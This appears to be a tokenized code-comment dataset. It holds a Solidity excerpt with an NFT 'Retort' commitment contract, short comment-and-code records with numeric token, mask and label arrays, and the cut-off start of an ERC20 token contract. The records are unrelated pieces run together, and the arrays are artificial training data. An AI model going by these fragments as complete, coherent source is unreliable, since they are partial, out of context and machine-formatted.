bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File contracts/AlchemyRetort.sol /* Retort contract for handling offer commitment and 'transmogrification' of NFTs */ /* AlphaWallet 2021 */ pragma solidity ^0.8.4; interface ERC20 { function transfer(address recipient, uint256 amount) external returns (bool); } contract AlchemyData { struct PaymentToken { address erc20; // Ether itself is allowed in the case of return value uint256 amount; bytes auth; // authorisation; null if underlying contract doesn't support it } struct Commitment { ERC721Token[] nfts; PaymentToken[] paymentTokens; uint256 amtPayable; // any amtPayable commitment's amount string identifier; address payable adrPayee; address offerer; // need to record the offerer at commitment so we hold this value even after the token is burned } address _verifyAttestation; //this points to the contract that verifies attestations: VerifyAttestation.sol string constant _alchemyURI = "https://alchemynft.io/"; string constant JSON_FILE = ".json"; // Token data string constant _name = "Alchemy Commitment Offers"; string constant _symbol = "OFFER"; // Dynamic data // Mapping commitmentId to NFT sets mapping (uint256 => Commitment) _commitments; // Keep a mapping of transformed tokens; this is used for unwrapping mapping (uint256 => ERC721Token[]) _transformedTokens; uint256 _commitmentId; uint256 _remixFeePercentage; // controllable from 0 to 10 000 where 10 000 means 100% // Static data address _dvpContract; // points to the DvP contract address _remixContract; //this points to the ERC721 that holds the wrapped NFT's: AlchemyWrappedTokens.sol address _attestorAddress; //Attestor key } contract ERC721Alchemy is AlchemyData, ERC721Upgradeable { using Strings for uint256; // this error shouldn't happen and should be monitored. Normally, // committed cryptocurrencies are payed out through a formula which // a user or a dapp shouldn't be able to affect, therefore if this // error occurs, either the smart contract has already lost money // unaccounted for, or an attack was attempted error InsufficientBalance(uint256 commitmentId); error CommitmentPayoutFailed(uint256 commitmentId); error CommissionPayoutFailed(uint256 commitmentId); error CallerNotAuthorised(); error PayingOutBeforeOfferTaken(); // the program's flow entered a branch that should only be possible // if a frontrun attack is attempted. error FrontrunPrevented(); function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function contractURI() public pure returns (string memory) { return "https://alchemynft.io/contracts/offer.json"; } // Override transferFrom and SafeTranferFrom to allow updating the commitment offerer. // Note, no protection is required here since the base function performs all checking and will revert if required function transferFrom(address from, address to, uint256 commitmentId) public virtual override { ERC721Upgradeable.transferFrom(from, to, commitmentId); _commitments[commitmentId].offerer = to; } function safeTransferFrom(address from, address to, uint256 commitmentId, bytes memory _data) public virtual override { ERC721Upgradeable.safeTransferFrom(from, to, commitmentId, _data); _commitments[commitmentId].offerer = to; } function tokenURI(uint256 commitmentId) public view override returns (string memory concat) { require(_existsAndNotPaid(commitmentId), "ERC721: nonexistent token"); return string(abi.encodePacked(_alchemyURI, block.chainid.toString(), "/", contractAddress(), "/", commitmentId.toString(), JSON_FILE)); } function _existsAndNotPaid(uint256 commitmentId) internal view returns (bool) { return ERC721Upgradeable._exists(commitmentId) && _commitments[commitmentId].adrPayee == address(0); } function contractAddress() internal view returns (string memory) { return Strings.toHexString(uint160(address(this)), 20); } } contract AlchemyRetort is ERC721Alchemy, UUPSUpgradeable, OwnableUpgradeable, IAlchemyRetort { using AddressUpgradeable for address; bytes constant emptyBytes = new bytes(0x00); // its enough to test modifier onlyOwner, other checks, like isContract(), contains upgradeTo() method implemented by UUPSUpgradeable function _authorizeUpgrade(address) internal override onlyOwner {} // this function name required, Hardhat use it to call initialize() on proxy deploy step function initialize(address verificationContract, address dvpContract, address remixContract) public initializer { require(verificationContract.isContract() && remixContract.isContract() && dvpContract.isContract(),"Address Must be a smartContract"); __Ownable_init(); // moved to initializer to fit proxy safe requirements _remixContract = remixContract; //set once, never changes _commitmentId = 1; //set once, can never be set again (contract updates this value) _verifyAttestation = verificationContract; _remixFeePercentage = 0; _dvpContract = dvpContract; _attestorAddress = 0x538080305560986811c3c1A2c5BCb4F37670EF7e; //Attestor key, needs to match key in Attestation.id } // Required for updating the verification contract address and commission function reconfigure(address verificationContract, address dvpContract, uint256 commission) public onlyOwner { require(verificationContract.isContract() && dvpContract.isContract() ,"Address must be a contract"); require(commission<=10000 ,"Commission limits 0..10000(100%)"); _verifyAttestation = verificationContract; _remixFeePercentage = commission; _dvpContract = dvpContract; } function setAttestor(address attestorAddress) public onlyOwner { _attestorAddress = attestorAddress; } event CreateCommitmentRequest(address indexed offerer, string indexed identifier, uint256 indexed commitmentId); event Remix(address indexed offerer, address indexed identifier, uint256 indexed commitmentId); event WithdrawCommitment(string indexed identifier, uint256 indexed commitmentId); event Remix(string indexed identifier, uint256 indexed commitmentId, uint256 newTokenId, address erc721Addr, uint256 tokenId); function getAdmin() public view returns(address) { return owner(); } /**** * @notice Gary Willow uses this function to commmit NFTs and some money; a * King Midas identified by 'identifier' can attest to the creation of a new * token to Gary Willow * * @param nft: nft token to be committed * @param identifier: the identifier of a King Midas who will touch this nft * token and turn it into gold. Example: "https://twitter.com/bob 817308121" * @param commitmentID: a sequential number representing this commentment, * not using NFT identifier for extensibility */ function commitNFT(ERC721Token[] memory nfts, string memory identifier) external payable { _commitNFT(nfts, identifier); } function _commitNFT(ERC721Token[] memory nfts, string memory identifier) internal { require (nfts.length > 0, "Requires NFT to commit"); // require (_verifyAttestation != address(0), "Init contract before commit!"); uint id = _commitmentId; _commitmentId++; _mint(msg.sender, id); _commitments[id].identifier = identifier; _commitments[id].adrPayee = payable(0); // null // initialise the amtPayable payment amount to the amount committed by Gary Willow // this value will be reduced each time King Midas, after doing his alchemy, requested payout. _commitments[id].amtPayable = msg.value; _commitments[id].offerer = msg.sender; for (uint256 index = 0; index < nfts.length; index++) { _commitments[id].nfts.push(nfts[index]); ERC721Token memory thisToken = nfts[index]; IAlchemyRemix nftContract = IAlchemyRemix(thisToken.erc721); nftContract.safeTransferFrom(msg.sender, address(this), thisToken.tokenId); } emit CreateCommitmentRequest(msg.sender, identifier, id); } /**** * delivery() produces the new remixed token. * * Caller: It's designed to be called by either the dvp contract or by King Midas * * commitmentId: which NFT(s) is this transmogrification applying to * nftAttestation: the new NFT object - intended to be an attestation */ function deliver(uint256 commitmentId, bytes memory nftAttestation) external override returns (uint256 committedAmount, address payable subjectAddress) { // do not check msg.sender until we figured out subjectAddress from nftAttestation //recover the commitment ID Commitment memory offer = _commitments[commitmentId]; address owner = ownerOf(commitmentId); committedAmount = offer.amtPayable; bool passedVerification; require(offer.nfts.length > 0, "Invalid commitmentId"); require(offer.adrPayee == address(0), "Commitment already taken"); //now attempt to verify the attestation and sender IVerifyAttestation verifier = IVerifyAttestation(_verifyAttestation); // subjectAddress should be King Midas's Ethereum address (identified by the identifier string) (passedVerification, subjectAddress) = verifier.checkAttestationValidity(nftAttestation, offer.nfts, offer.identifier, _attestorAddress, msg.sender); require(passedVerification, "Invalid Attestation used"); if (msg.sender != _dvpContract && msg.sender != subjectAddress) { // if isn't called by King Midas, nor from DvP, stopping a potential // frontrun griefing. Such a griefing doesn't cause loss, since the // delivery recipient isn't affected by msg.sender anyway. // TODO: delete this code when Jesus version of DvP is out. // when DvP contract's Payment[] is embedded to an DvP deal, // then Frontrun will no longer need to be prevented. revert FrontrunPrevented(); } IAlchemyRemix remixTokenContract = IAlchemyRemix(_remixContract); // New token minted wrapped commitment (wrappedNFT contract created by AlphaWallet) // now mint the new wrapped NFTs for (uint256 index = 0; index < offer.nfts.length; index++) { //now mint the new tokens which wrap these uint256 newId = remixTokenContract.mintUsingSequentialTokenId(owner, RemixCommit(commitmentId, index)); emit Remix(offer.identifier, commitmentId, newId, offer.nfts[index].erc721, offer.nfts[index].tokenId); _transformedTokens[commitmentId].push(ERC721Token(_remixContract, newId, emptyBytes)); } _commitments[commitmentId].adrPayee = subjectAddress; // This is effectively a token burn - need to signal to Opensea and Etherscan that the token is now burned _burn(commitmentId); } /* this function only guards against overpaying (paying more than committed * amount). It didn't guard against paying to the wrong address, which * should be the task of the DvP contract that calls this one. By the way * DvP contract also guards against overpaying. It's just checked * twice. This function might replace moveTokensAndEth with James' * permission. */ function pay(uint256 commitmentId, uint256 amount, address payable beneficiary) external override { Commitment memory commit = _commitments[commitmentId]; _commitments[commitmentId].amtPayable -= amount; //prevent re-entrancy; if we hit a revert this is unwound if (msg.sender != _dvpContract && msg.sender != commit.adrPayee) { revert CallerNotAuthorised(); } // payout can only be done to a commitment that a King Midas took if (commit.adrPayee == address(0)) { revert PayingOutBeforeOfferTaken(); } if (amount > commit.amtPayable) { revert InsufficientBalance(commitmentId); } bool paymentSuccessful; //take commission fee uint256 commissionWei = (amount * _remixFeePercentage)/10000; (paymentSuccessful, ) = owner().call{value: commissionWei}(""); //commission if (!paymentSuccessful) { revert CommissionPayoutFailed(commitmentId); } (paymentSuccessful, ) = beneficiary.call{value: (amount - commissionWei)}(""); //payment to signer if (!paymentSuccessful) { revert CommitmentPayoutFailed(commitmentId); } } // Weiwu: this should be in remix contract since // undoing offer is already achieved by burn() // undoing remix therefore should be done in Remix contract // James: This is an event triggered from AlchemyRemix. The owner is unwrapping their Remixed token; // Remix Contract handles burning the remix token, restoring the original token must be done in // this contract. Offer is not involved with burning a Remix token. function unwrapToken(RemixCommit memory commitmentEntry, address remixOwner) public override { require (msg.sender == _remixContract, "Only Remix can call this function"); //is this a valid wrapped token(s)? Do the input nfts correspond to the commitment? require (_commitments[commitmentEntry.commitmentId].adrPayee != address(0), "Tokens must have been transformed"); //lookup exact token ERC721Token memory originalToken = _commitments[commitmentEntry.commitmentId].nfts[commitmentEntry.commitmentIndex]; if (originalToken.erc721 != address(0)) { //transfer original token to current owner of wrapped token IERC721 tokenContract = IERC721(originalToken.erc721); tokenContract.safeTransferFrom(address(this), remixOwner, originalToken.tokenId); } else { revert("Cannot unwrap this token"); } } // Fetch details of a specific commitment function getCommitment(uint256 commitmentId) public view returns (ERC721Token[] memory nfts, PaymentToken[] memory paymentTokens, address offerer, uint256 weiValue, string memory identifier, bool completed) { Commitment memory offer = _commitments[commitmentId]; paymentTokens = offer.paymentTokens; nfts = offer.nfts; identifier = offer.identifier; weiValue = offer.amtPayable; offerer = offer.offerer; completed = (offer.adrPayee != address(0)); } // Fetch details of a specific commitment function getCommitmentWrappedTokens(uint256 commitmentId) public view returns (ERC721Token[] memory nfts) { nfts = _transformedTokens[commitmentId]; } // Need to implement this to receive ERC721 Tokens function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) { return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")); } function getRemixFeeFactor() public view returns(uint256) { return _remixFeePercentage; } /* only moves the Payment tokens and Payment ether, nothing to do with NFT tokens */ function moveTokensAndEth(uint256 commitmentId, address payable payee, bool payCommission) internal returns(bool) { bool paymentSuccessful; Commitment memory offer = _commitments[commitmentId]; //take commission fee uint256 commissionWei = 0; // bytes memory data; if (payCommission) { commissionWei = (offer.amtPayable * _remixFeePercentage)/10000; (paymentSuccessful, ) = owner().call{value: commissionWei}(""); //commission } (paymentSuccessful, ) = payee.call{value: (offer.amtPayable - commissionWei)}(""); //payment to signer _commitments[commitmentId].amtPayable = 0; return paymentSuccessful; } /* Each retort token is a commitment. Burning it causes the * commitment to be withdrawn and the cryptocurrency committed * being refunded. */ function burn(uint256 commitmentId) public payable { require(_isApprovedOrOwner(msg.sender, commitmentId), "Must be owner or approved"); Commitment memory commitment = _commitments[commitmentId]; moveTokensAndEth(commitmentId, payable(ownerOf(commitmentId)), false); //emit event to aid bookkeeping emit WithdrawCommitment(commitment.identifier, commitmentId); for (uint256 index = 0; index < commitment.nfts.length; index++) { ERC721Token memory thisToken = commitment.nfts[index]; // Transfer the original NFT back to current owner IERC721 nftContract = IERC721(thisToken.erc721); nftContract.safeTransferFrom(address(this), ownerOf(commitmentId), thisToken.tokenId); } _burn(commitmentId); delete (_commitments[commitmentId]); } /************************************* * External helper functions **************************************/ function verifyNFTAttestation(bytes memory attestation) public view returns(ERC721Token[] memory, string memory, address, address) { IVerifyAttestation verifier = IVerifyAttestation(_verifyAttestation); return verifier.verifyNFTAttestation(attestation); } function getNFTAttestationTimestamp(bytes memory attestation) public view returns(string memory startTime, string memory endTime) { IVerifyAttestation verifier = IVerifyAttestation(_verifyAttestation); return verifier.getNFTAttestationTimestamp(attestation); } }
set once, can never be set again (contract updates this value)
_commitmentId = 1;
5,906,915
[ 1, 542, 3647, 16, 848, 5903, 506, 444, 3382, 261, 16351, 4533, 333, 460, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 7371, 475, 548, 273, 404, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x99E445fb7E33E3eA5F1527D285d9B2CCA0Fc8520/sources/contracts/proxy/VaultProxy.sol
@dev returns the implementation
function implementation() external view returns (address) { return _implementation2(0); }
4,908,016
[ 1, 6154, 326, 4471, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4471, 1435, 3903, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 327, 389, 30810, 22, 12, 20, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure 